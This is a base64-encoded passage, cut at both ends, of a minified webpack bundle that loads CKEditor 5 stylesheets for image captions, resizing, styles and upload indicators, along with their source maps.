NTBweDtcblx0fVxufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLWNvbnRlbnQgLmltYWdlPmZpZ2NhcHRpb257ZGlzcGxheTp0YWJsZS1jYXB0aW9uO2NhcHRpb24tc2lkZTpib3R0b207d29yZC1icmVhazpicmVhay13b3JkO2NvbG9yOiMzMzM7YmFja2dyb3VuZC1jb2xvcjojZjdmN2Y3O3BhZGRpbmc6LjZlbTtmb250LXNpemU6Ljc1ZW07b3V0bGluZS1vZmZzZXQ6LTFweH0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LWltYWdlL3RoZW1lL2ltYWdlY2FwdGlvbi5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFLQSw4QkFDQyxxQkFBc0IsQ0FDdEIsbUJBQW9CLENBQ3BCLHFCQUFzQixDQUN0QixVQUFzQixDQUN0Qix3QkFBaUMsQ0FDakMsWUFBYSxDQUNiLGVBQWdCLENBQ2hCLG1CQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrLWNvbnRlbnQgLmltYWdlID4gZmlnY2FwdGlvbiB7XG5cdGRpc3BsYXk6IHRhYmxlLWNhcHRpb247XG5cdGNhcHRpb24tc2lkZTogYm90dG9tO1xuXHR3b3JkLWJyZWFrOiBicmVhay13b3JkO1xuXHRjb2xvcjogaHNsKDAsIDAlLCAyMCUpO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBoc2woMCwgMCUsIDk3JSk7XG5cdHBhZGRpbmc6IC42ZW07XG5cdGZvbnQtc2l6ZTogLjc1ZW07XG5cdG91dGxpbmUtb2Zmc2V0OiAtMXB4O1xufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrIC5jay13aWRnZXRfd2l0aC1yZXNpemVye3Bvc2l0aW9uOnJlbGF0aXZlfS5jayAuY2std2lkZ2V0X19yZXNpemVye2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2xlZnQ6MDt0b3A6MDtvdXRsaW5lOjFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1yZXNpemVyKX0uY2stZm9jdXNlZCAuY2std2lkZ2V0X3dpdGgtcmVzaXplci5jay13aWRnZXRfc2VsZWN0ZWQ+LmNrLXdpZGdldF9fcmVzaXplcntkaXNwbGF5OmJsb2NrfS5jayAuY2std2lkZ2V0X19yZXNpemVyX19oYW5kbGV7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldmVudHM6YWxsO3dpZHRoOnZhcigtLWNrLXJlc2l6ZXItc2l6ZSk7aGVpZ2h0OnZhcigtLWNrLXJlc2l6ZXItc2l6ZSk7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1mb2N1cy1ib3JkZXIpO2JvcmRlcjp2YXIoLS1jay1yZXNpemVyLWJvcmRlci13aWR0aCkgc29saWQgI2ZmZjtib3JkZXItcmFkaXVzOnZhcigtLWNrLXJlc2l6ZXItYm9yZGVyLXJhZGl1cyl9LmNrIC5jay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZS5jay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZS10b3AtbGVmdHt0b3A6dmFyKC0tY2stcmVzaXplci1vZmZzZXQpO2xlZnQ6dmFyKC0tY2stcmVzaXplci1vZmZzZXQpO2N1cnNvcjpud3NlLXJlc2l6ZX0uY2sgLmNrLXdpZGdldF9fcmVzaXplcl9faGFuZGxlLmNrLXdpZGdldF9fcmVzaXplcl9faGFuZGxlLXRvcC1yaWdodHt0b3A6dmFyKC0tY2stcmVzaXplci1vZmZzZXQpO3JpZ2h0OnZhcigtLWNrLXJlc2l6ZXItb2Zmc2V0KTtjdXJzb3I6bmVzdy1yZXNpemV9LmNrIC5jay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZS5jay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZS1ib3R0b20tcmlnaHR7Ym90dG9tOnZhcigtLWNrLXJlc2l6ZXItb2Zmc2V0KTtyaWdodDp2YXIoLS1jay1yZXNpemVyLW9mZnNldCk7Y3Vyc29yOm53c2UtcmVzaXplfS5jayAuY2std2lkZ2V0X19yZXNpemVyX19oYW5kbGUuY2std2lkZ2V0X19yZXNpemVyX19oYW5kbGUtYm90dG9tLWxlZnR7Ym90dG9tOnZhcigtLWNrLXJlc2l6ZXItb2Zmc2V0KTtsZWZ0OnZhcigtLWNrLXJlc2l6ZXItb2Zmc2V0KTtjdXJzb3I6bmVzdy1yZXNpemV9IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS13aWRnZXQvdGhlbWUvd2lkZ2V0cmVzaXplLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQUtBLDRCQUVDLGlCQUNELENBRUEsd0JBQ0MsWUFBYSxDQUNiLGlCQUFrQixDQUdsQixtQkFBb0IsQ0FFcEIsTUFBTyxDQUNQLEtBQU0sQ0FFTix5Q0FDRCxDQUdDLDJFQUNDLGFBQ0QsQ0FHRCxnQ0FDQyxpQkFBa0IsQ0FHbEIsa0JBQW1CLENBRW5CLDRCQUE2QixDQUM3Qiw2QkFBOEIsQ0FDOUIsdUNBQXdDLENBQ3hDLGdEQUE2RCxDQUM3RCw2Q0F5QkQsQ0F2QkMsb0VBQ0MsNEJBQStCLENBQy9CLDZCQUFnQyxDQUNoQyxrQkFDRCxDQUVBLHFFQUNDLDRCQUErQixDQUMvQiw4QkFBaUMsQ0FDakMsa0JBQ0QsQ0FFQSx3RUFDQywrQkFBa0MsQ0FDbEMsOEJBQWlDLENBQ2pDLGtCQUNELENBRUEsdUVBQ0MsK0JBQWtDLENBQ2xDLDZCQUFnQyxDQUNoQyxrQkFDRCIsc291cmNlc0NvbnRlbnQ6WyIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jayAuY2std2lkZ2V0X3dpdGgtcmVzaXplciB7XG5cdC8qIE1ha2UgdGhlIHdpZGdldCB3cmFwcGVyIGEgcmVsYXRpdmUgcG9zaXRpb25pbmcgY29udGFpbmVyIGZvciB0aGUgZHJhZyBoYW5kbGUuICovXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cblxuLmNrIC5jay13aWRnZXRfX3Jlc2l6ZXIge1xuXHRkaXNwbGF5OiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cblx0LyogVGhlIHdyYXBwZXIgaXRzZWxmIHNob3VsZCBub3QgaW50ZXJmZXJlIHdpdGggdGhlIHBvaW50ZXIgZGV2aWNlLCBvbmx5IHRoZSBoYW5kbGVzIHNob3VsZC4gKi9cblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0bGVmdDogMDtcblx0dG9wOiAwO1xuXG5cdG91dGxpbmU6IDFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1yZXNpemVyKTtcbn1cblxuLmNrLWZvY3VzZWQgLmNrLXdpZGdldF93aXRoLXJlc2l6ZXIuY2std2lkZ2V0X3NlbGVjdGVkIHtcblx0JiA+IC5jay13aWRnZXRfX3Jlc2l6ZXIge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHR9XG59XG5cbi5jayAuY2std2lkZ2V0X19yZXNpemVyX19oYW5kbGUge1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cblx0LyogUmVzaXplcnMgYXJlIHRoZSBvbmx5IFVJIGVsZW1lbnRzIHRoYXQgc2hvdWxkIGludGVyZmVyZSB3aXRoIGEgcG9pbnRlciBkZXZpY2UuICovXG5cdHBvaW50ZXItZXZlbnRzOiBhbGw7XG5cblx0d2lkdGg6IHZhcigtLWNrLXJlc2l6ZXItc2l6ZSk7XG5cdGhlaWdodDogdmFyKC0tY2stcmVzaXplci1zaXplKTtcblx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItZm9jdXMtYm9yZGVyKTtcblx0Ym9yZGVyOiB2YXIoLS1jay1yZXNpemVyLWJvcmRlci13aWR0aCkgc29saWQgaHNsKDAsIDAlLCAxMDAlKTtcblx0Ym9yZGVyLXJhZGl1czogdmFyKC0tY2stcmVzaXplci1ib3JkZXItcmFkaXVzKTtcblxuXHQmLmNrLXdpZGdldF9fcmVzaXplcl9faGFuZGxlLXRvcC1sZWZ0IHtcblx0XHR0b3A6IHZhciggLS1jay1yZXNpemVyLW9mZnNldCApO1xuXHRcdGxlZnQ6IHZhciggLS1jay1yZXNpemVyLW9mZnNldCApO1xuXHRcdGN1cnNvcjogbndzZS1yZXNpemU7XG5cdH1cblxuXHQmLmNrLXdpZGdldF9fcmVzaXplcl9faGFuZGxlLXRvcC1yaWdodCB7XG5cdFx0dG9wOiB2YXIoIC0tY2stcmVzaXplci1vZmZzZXQgKTtcblx0XHRyaWdodDogdmFyKCAtLWNrLXJlc2l6ZXItb2Zmc2V0ICk7XG5cdFx0Y3Vyc29yOiBuZXN3LXJlc2l6ZTtcblx0fVxuXG5cdCYuY2std2lkZ2V0X19yZXNpemVyX19oYW5kbGUtYm90dG9tLXJpZ2h0IHtcblx0XHRib3R0b206IHZhciggLS1jay1yZXNpemVyLW9mZnNldCApO1xuXHRcdHJpZ2h0OiB2YXIoIC0tY2stcmVzaXplci1vZmZzZXQgKTtcblx0XHRjdXJzb3I6IG53c2UtcmVzaXplO1xuXHR9XG5cblx0Ji5jay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZS1ib3R0b20tbGVmdCB7XG5cdFx0Ym90dG9tOiB2YXIoIC0tY2stcmVzaXplci1vZmZzZXQgKTtcblx0XHRsZWZ0OiB2YXIoIC0tY2stcmVzaXplci1vZmZzZXQgKTtcblx0XHRjdXJzb3I6IG5lc3ctcmVzaXplO1xuXHR9XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCIuY2stY29udGVudCAuaW1hZ2UuaW1hZ2VfcmVzaXplZHttYXgtd2lkdGg6MTAwJTtkaXNwbGF5OmJsb2NrO2JveC1zaXppbmc6Ym9yZGVyLWJveH0uY2stY29udGVudCAuaW1hZ2UuaW1hZ2VfcmVzaXplZCBpbWd7d2lkdGg6MTAwJX0uY2stY29udGVudCAuaW1hZ2UuaW1hZ2VfcmVzaXplZD5maWdjYXB0aW9ue2Rpc3BsYXk6YmxvY2t9W2Rpcj1sdHJdIC5jay5jay1idXR0b24uY2stYnV0dG9uX3dpdGgtdGV4dC5jay1yZXNpemUtaW1hZ2UtYnV0dG9uIC5jay1idXR0b25fX2ljb257bWFyZ2luLXJpZ2h0OnZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpfVtkaXI9cnRsXSAuY2suY2stYnV0dG9uLmNrLWJ1dHRvbl93aXRoLXRleHQuY2stcmVzaXplLWltYWdlLWJ1dHRvbiAuY2stYnV0dG9uX19pY29ue21hcmdpbi1sZWZ0OnZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpfS5jay5jay1kcm9wZG93biAuY2stYnV0dG9uLmNrLXJlc2l6ZS1pbWFnZS1idXR0b24gLmNrLWJ1dHRvbl9fbGFiZWx7d2lkdGg6NGVtfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtaW1hZ2UvdGhlbWUvaW1hZ2VyZXNpemUuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBS0EsaUNBQ0MsY0FBZSxDQU1mLGFBQWMsQ0FDZCxxQkFXRCxDQVRDLHFDQUVDLFVBQ0QsQ0FFQSw0Q0FFQyxhQUNELENBR0Qsb0ZBQ0MsdUNBQ0QsQ0FFQSxvRkFDQyxzQ0FDRCxDQUVBLG9FQUNDLFNBQ0QiLHNvdXJjZXNDb250ZW50OlsnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4uY2stY29udGVudCAuaW1hZ2UuaW1hZ2VfcmVzaXplZCB7XG5cdG1heC13aWR0aDogMTAwJTtcblx0Lypcblx0VGhlIGA8ZmlndXJlPmAgZWxlbWVudCBmb3IgcmVzaXplZCBpbWFnZXMgbXVzdCBub3QgdXNlIGBkaXNwbGF5OnRhYmxlYCBhcyBicm93c2VycyBkbyBub3Qgc3VwcG9ydCBgbWF4LXdpZHRoYCBmb3IgaXQgd2VsbC5cblx0U2VlIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQwMTk2MDQvY2hyb21lLXNhZmFyaS1pZ25vcmluZy1tYXgtd2lkdGgtaW4tdGFibGUvMTQ0MjA2OTEjMTQ0MjA2OTEgZm9yIG1vcmUuXG5cdEZvcnR1bmF0ZWx5LCBzaW5jZSB3ZSBjb250cm9sIHRoZSB3aWR0aCwgdGhlcmUgaXMgbm8gcmlzayB0aGF0IHRoZSBpbWFnZSB3aWxsIGxvb2sgYmFkLlxuXHQqL1xuXHRkaXNwbGF5OiBibG9jaztcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmIGltZyB7XG5cdFx0LyogRm9yIHJlc2l6ZWQgaW1hZ2VzIGl0IGlzIHRoZSBgPGZpZ3VyZT5gIGVsZW1lbnQgdGhhdCBkZXRlcm1pbmVzIHRoZSBpbWFnZSB3aWR0aC4gKi9cblx0XHR3aWR0aDogMTAwJTtcblx0fVxuXG5cdCYgPiBmaWdjYXB0aW9uIHtcblx0XHQvKiBUaGUgYDxmaWd1cmU+YCBlbGVtZW50IHVzZXMgYGRpc3BsYXk6YmxvY2tgLCBzbyBgPGZpZ2NhcHRpb24+YCBhbHNvIGhhcyB0by4gKi9cblx0XHRkaXNwbGF5OiBibG9jaztcblx0fVxufVxuXG5bZGlyPSJsdHIiXSAuY2suY2stYnV0dG9uLmNrLWJ1dHRvbl93aXRoLXRleHQuY2stcmVzaXplLWltYWdlLWJ1dHRvbiAuY2stYnV0dG9uX19pY29uIHtcblx0bWFyZ2luLXJpZ2h0OiB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcbn1cblxuW2Rpcj0icnRsIl0gLmNrLmNrLWJ1dHRvbi5jay1idXR0b25fd2l0aC10ZXh0LmNrLXJlc2l6ZS1pbWFnZS1idXR0b24gLmNrLWJ1dHRvbl9faWNvbiB7XG5cdG1hcmdpbi1sZWZ0OiB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcbn1cblxuLmNrLmNrLWRyb3Bkb3duIC5jay1idXR0b24uY2stcmVzaXplLWltYWdlLWJ1dHRvbiAuY2stYnV0dG9uX19sYWJlbCB7XG5cdHdpZHRoOiA0ZW07XG59XG4nXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCI6cm9vdHstLWNrLWltYWdlLXN0eWxlLXNwYWNpbmc6MS41ZW19LmNrLWNvbnRlbnQgLmltYWdlLXN0eWxlLXNpZGV7ZmxvYXQ6cmlnaHQ7bWFyZ2luLWxlZnQ6dmFyKC0tY2staW1hZ2Utc3R5bGUtc3BhY2luZyk7bWF4LXdpZHRoOjUwJX0uY2stY29udGVudCAuaW1hZ2Utc3R5bGUtYWxpZ24tbGVmdHtmbG9hdDpsZWZ0O21hcmdpbi1yaWdodDp2YXIoLS1jay1pbWFnZS1zdHlsZS1zcGFjaW5nKX0uY2stY29udGVudCAuaW1hZ2Utc3R5bGUtYWxpZ24tY2VudGVye21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG99LmNrLWNvbnRlbnQgLmltYWdlLXN0eWxlLWFsaWduLXJpZ2h0e2Zsb2F0OnJpZ2h0O21hcmdpbi1sZWZ0OnZhcigtLWNrLWltYWdlLXN0eWxlLXNwYWNpbmcpfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtaW1hZ2UvdGhlbWUvaW1hZ2VzdHlsZS5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFLQSxNQUNDLDhCQUNELENBR0MsOEJBQ0MsV0FBWSxDQUNaLHlDQUEwQyxDQUMxQyxhQUNELENBRUEsb0NBQ0MsVUFBVyxDQUNYLDBDQUNELENBRUEsc0NBQ0MsZ0JBQWlCLENBQ2pCLGlCQUNELENBRUEscUNBQ0MsV0FBWSxDQUNaLHlDQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQtLWNrLWltYWdlLXN0eWxlLXNwYWNpbmc6IDEuNWVtO1xufVxuXG4uY2stY29udGVudCB7XG5cdCYgLmltYWdlLXN0eWxlLXNpZGUge1xuXHRcdGZsb2F0OiByaWdodDtcblx0XHRtYXJnaW4tbGVmdDogdmFyKC0tY2staW1hZ2Utc3R5bGUtc3BhY2luZyk7XG5cdFx0bWF4LXdpZHRoOiA1MCU7XG5cdH1cblxuXHQmIC5pbWFnZS1zdHlsZS1hbGlnbi1sZWZ0IHtcblx0XHRmbG9hdDogbGVmdDtcblx0XHRtYXJnaW4tcmlnaHQ6IHZhcigtLWNrLWltYWdlLXN0eWxlLXNwYWNpbmcpO1xuXHR9XG5cblx0JiAuaW1hZ2Utc3R5bGUtYWxpZ24tY2VudGVyIHtcblx0XHRtYXJnaW4tbGVmdDogYXV0bztcblx0XHRtYXJnaW4tcmlnaHQ6IGF1dG87XG5cdH1cblxuXHQmIC5pbWFnZS1zdHlsZS1hbGlnbi1yaWdodCB7XG5cdFx0ZmxvYXQ6IHJpZ2h0O1xuXHRcdG1hcmdpbi1sZWZ0OiB2YXIoLS1jay1pbWFnZS1zdHlsZS1zcGFjaW5nKTtcblx0fVxufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLmNrLWVkaXRvcl9fZWRpdGFibGUgLmltYWdle3Bvc2l0aW9uOnJlbGF0aXZlfS5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC5pbWFnZSAuY2stcHJvZ3Jlc3MtYmFye3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MH0uY2suY2stZWRpdG9yX19lZGl0YWJsZSAuaW1hZ2UuY2stYXBwZWFye2FuaW1hdGlvbjpmYWRlSW4gLjdzfS5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC5pbWFnZSAuY2stcHJvZ3Jlc3MtYmFye2hlaWdodDoycHg7d2lkdGg6MDtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXVwbG9hZC1iYXItYmFja2dyb3VuZCk7dHJhbnNpdGlvbjp3aWR0aCAuMXN9QGtleWZyYW1lcyBmYWRlSW57MCV7b3BhY2l0eTowfXRve29wYWNpdHk6MX19IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS1pbWFnZS90aGVtZS9pbWFnZXVwbG9hZHByb2dyZXNzLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LWltYWdlL2ltYWdldXBsb2FkcHJvZ3Jlc3MuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBS0EsK0JBQ0MsaUJBQ0QsQ0FHQSxnREFDQyxpQkFBa0IsQ0FDbEIsS0FBTSxDQUNOLE1BQ0QsQ0NQQyx5Q0FDQyxvQkFDRCxDQUlELGdEQUNDLFVBQVcsQ0FDWCxPQUFRLENBQ1IsZ0RBQWlELENBQ2pELG9CQUNELENBRUEsa0JBQ0MsR0FBTyxTQUFZLENBQ25CLEdBQU8sU0FBWSxDQUNwQiIsc291cmNlc0NvbnRlbnQ6WyIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC5pbWFnZSB7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cblxuLyogVXBsb2FkIHByb2dyZXNzIGJhci4gKi9cbi5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC5pbWFnZSAuY2stcHJvZ3Jlc3MtYmFyIHtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdGxlZnQ6IDA7XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC5pbWFnZSB7XG5cdC8qIFNob3dpbmcgYW5pbWF0aW9uLiAqL1xuXHQmLmNrLWFwcGVhciB7XG5cdFx0YW5pbWF0aW9uOiBmYWRlSW4gNzAwbXM7XG5cdH1cbn1cblxuLyogVXBsb2FkIHByb2dyZXNzIGJhci4gKi9cbi5jay5jay1lZGl0b3JfX2VkaXRhYmxlIC5pbWFnZSAuY2stcHJvZ3Jlc3MtYmFyIHtcblx0aGVpZ2h0OiAycHg7XG5cdHdpZHRoOiAwO1xuXHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci11cGxvYWQtYmFyLWJhY2tncm91bmQpO1xuXHR0cmFuc2l0aW9uOiB3aWR0aCAxMDBtcztcbn1cblxuQGtleWZyYW1lcyBmYWRlSW4ge1xuXHRmcm9tIHsgb3BhY2l0eTogMDsgfVxuXHR0byAgIHsgb3BhY2l0eTogMTsgfVxufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwnLmNrLWltYWdlLXVwbG9hZC1jb21wbGV0ZS1pY29ue2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246YWJzb2x1dGU7dG9wOjEwcHg7cmlnaHQ6MTBweDtib3JkZXItcmFkaXVzOjUwJX0uY2staW1hZ2UtdXBsb2FkLWNvbXBsZXRlLWljb246YWZ0ZXJ7Y29udGVudDoiIjtwb3NpdGlvbjphYnNvbHV0ZX06cm9vdHstLWNrLWNvbG9yLWltYWdlLXVwbG9hZC1pY29uOiNmZmY7LS1jay1jb2xvci1pbWFnZS11cGxvYWQtaWNvbi1iYWNrZ3JvdW5kOiMwMDhhMDA7LS1jay1pbWFnZS11cGxvYWQtaWNvbi1zaXplOjIwcHg7LS1jay1pbWFnZS11cGxvYWQtaWNvbi13aWR0aDoycHh9LmNrLWltYWdlLXVwbG9hZC1jb21wbGV0ZS1pY29ue3dpZHRoOnZhcigtLWNrLWltYWdlLXVwbG9hZC1pY29uLXNpemUpO2hlaWdodDp2YXIoLS1jay1pbWFnZS11cGxvYWQtaWNvbi1zaXplKTtvcGFjaXR5OjA7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1pbWFnZS11cGxvYWQtaWNvbi1iYWNrZ3JvdW5kKTthbmltYXRpb24tbmFtZTpjay11cGxvYWQtY29tcGxldGUtaWNvbi1zaG93LGNrLXVwbG9hZC1jb21wbGV0ZS1pY29uLWhpZGU7YW5pbWF0aW9uLWZpbGwtbW9kZTpmb3J3YXJkcyxmb3J3YXJkczthbmltYXRpb24tZHVyYXRpb246LjVzLC41cztmb250LXNpemU6dmFyKC0tY2staW1hZ2UtdXBsb2FkLWljb24tc2l6ZSk7YW5pbWF0aW9uLWRlbGF5OjBtcywzc30uY2staW1hZ2UtdXBsb2FkLWNvbXBsZXRlLWljb246YWZ0ZXJ7bGVmdDoyNSU7dG9wOjUwJTtvcGFjaXR5OjA7aGVpZ2h0OjA7d2lkdGg6MDt0cmFuc2Zvcm06c2NhbGVYKC0xKSByb3RhdGUoMTM1ZGVnKTt0cmFuc2Zvcm0tb3JpZ2luOmxlZnQgdG9wO2JvcmRlci10b3A6dmFyKC0tY2staW1hZ2UtdXBsb2FkLWljb24td2lkdGgpIHNvbGlkIHZhcigtLWNrLWNvbG9yLWltYWdlLXVwbG9hZC1pY29uKTtib3JkZXItcmlnaHQ6dmFyKC0tY2staW1hZ2UtdXBsb2FkLWljb24td2lkdGgpIHNvbGlkIHZhcigtLWNrLWNvbG9yLWltYWdlLXVwbG9hZC1pY29uKTthbmltYXRpb24tbmFtZTpjay11cGxvYWQtY29tcGxldGUtaWNvbi1jaGVjazthbmltYXRpb24tZHVyYXRpb246LjVzO2FuaW1hdGlvbi1kZWxheTouNXM7YW5pbWF0aW9uLWZpbGwtbW9kZTpmb3J3YXJkcztib3gtc2l6aW5nOmJvcmRlci1ib3h9QGtleWZyYW1lcyBjay11cGxvYWQtY29tcGxldGUtaWNvbi1zaG93ezAle29wYWNpdHk6MH10b3tvcGFjaXR5OjF9fUBrZXlmcmFtZXMgY2stdXBsb2FkLWNvbXBsZXRlLWljb24taGlkZXswJXtvcGFjaXR5OjF9dG97b3BhY2l0eTowfX1Aa2V5ZnJhbWVzIGNrLXVwbG9hZC1jb21wbGV0ZS1pY29uLWNoZWNrezAle29wYWNpdHk6MTt3aWR0aDowO2hlaWdodDowfTMzJXt3aWR0aDouM2VtO2hlaWdodDowfXRve29wYWNpdHk6MTt3aWR0aDouM2VtO2hlaWdodDouNDVlbX19JywiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS1pbWFnZS90aGVtZS9pbWFnZXVwbG9hZGljb24uY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtaW1hZ2UvaW1hZ2V1cGxvYWRpY29uLmNzcyJdLG5hbWVzOltdLG1hc